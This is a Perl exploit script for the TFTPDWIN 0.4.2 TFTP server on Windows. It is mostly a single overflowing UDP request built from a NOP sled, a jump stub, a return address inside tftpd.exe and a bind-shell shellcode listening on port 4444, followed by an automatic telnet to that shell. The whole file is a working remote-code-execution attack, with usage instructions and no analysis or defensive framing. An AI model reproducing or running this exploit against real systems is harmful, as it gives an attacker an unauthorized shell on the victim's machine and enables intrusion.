tftpdwin042.txt

`#!/usr/bin/perl -w  
use IO::Socket;  
  
if(!($ARGV[1]))  
{  
print "Usage: tftpdwin-0-4-2.pl <target host> <port>\n\n";  
exit;  
}  
  
$victim = IO::Socket::INET->new(Proto=>'udp',  
PeerAddr=>$ARGV[0],  
PeerPort=>$ARGV[1])  
or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";  
  
my $nop0="\x90"x15;  
  
#8BC3 MOV EAX,EBX  
#66:05 1201 ADD AX,112  
#50 PUSH EAX  
#C3 RETN  
  
my $asm="\x8b\xc3\x66\x05\x12\x01\x50\xc3";  
  
my $nop="\x90"x57;  
  
my $nop1="\x90"x7;  
  
my $eip="\x42\xfb\x61\x40";# pop ebp,ret in tftpd.exe  
#my $eip="B"x4;  
  
#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences  
#1)bind port, in this exploit is 4444 in the original shellcode was 6666  
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host  
$shellcode =   
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".  
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".  
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".  
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".  
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".  
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".  
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".  
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".  
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".  
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".  
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".  
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".  
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";  
  
$exploit = "\x00\x01" . $nop0 .$asm.$nop. $shellcode. $nop1 .$eip. "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00";  
  
print $victim $exploit;  
  
print " + Malicious request sent ...\n";  
  
sleep(2);  
  
print "Done.\n";  
  
close($victim);  
$host = $ARGV[0];  
print " + connect to 4444 port of $host ...\n";  
sleep(3);  
system("telnet $host 4444");  
exit;  
`